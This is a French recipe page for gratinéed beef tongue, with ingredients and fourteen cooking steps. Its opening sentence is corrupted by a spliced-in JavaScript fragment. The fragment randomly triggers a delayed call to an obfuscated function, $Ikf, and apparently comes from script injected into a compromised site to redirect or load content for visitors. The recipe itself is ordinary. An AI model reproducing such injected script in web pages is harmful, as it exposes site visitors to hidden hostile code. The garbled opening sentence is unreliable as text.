Langue de bœuf gratiné

2021-03-23

Demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andez à votre boucher de vous détaillez la langue et de débarrasser de ces déchets. Pesez la langue. Il faut compter 50 minutes pour 1 kg de langue.

Ingrédients

  • Pour 6 personnes
  • 1 langue de bœuf de 1,5 kg
  • 2 sachets de court bouillon
  • 300 g de sauce tomates
  • 125 g de gruyère râpé
  • 80 g de beurre

Préparation de la recette

Etape 1

Demandez à votre boucher de vous détaillez la langue et de débarrasser de ces déchets.

Etape 2

Pesez la langue.

Etape 3

Il faut compter 50 minutes pour 1 kg de langue.

Etape 4

Dans une cocotte remplie d’eau froide déposez la langue de bœuf, avec les 2 sachets de court bouillon.

Etape 5

Portez à ébullition.

Etape 6

Couvrez. De temps en temps écumez.

Etape 7

Vérifiez la cuisson. Égouttez la langue.

Etape 8

Enlevez la peau blanche.

Etape 9

Détaillez-la en fines tranches.

Etape 10

La déposer dans un plat à gratin avec des petits morceaux de beurre.

Etape 11

Nappez de sauce tomate.

Etape 12

Parsemez de gruyère râpé.

Etape 13

Préchauffez le four à 150°C thermostat 5.

Etape 14

Enfournez et faites cuire pendant 15 minutes.

 

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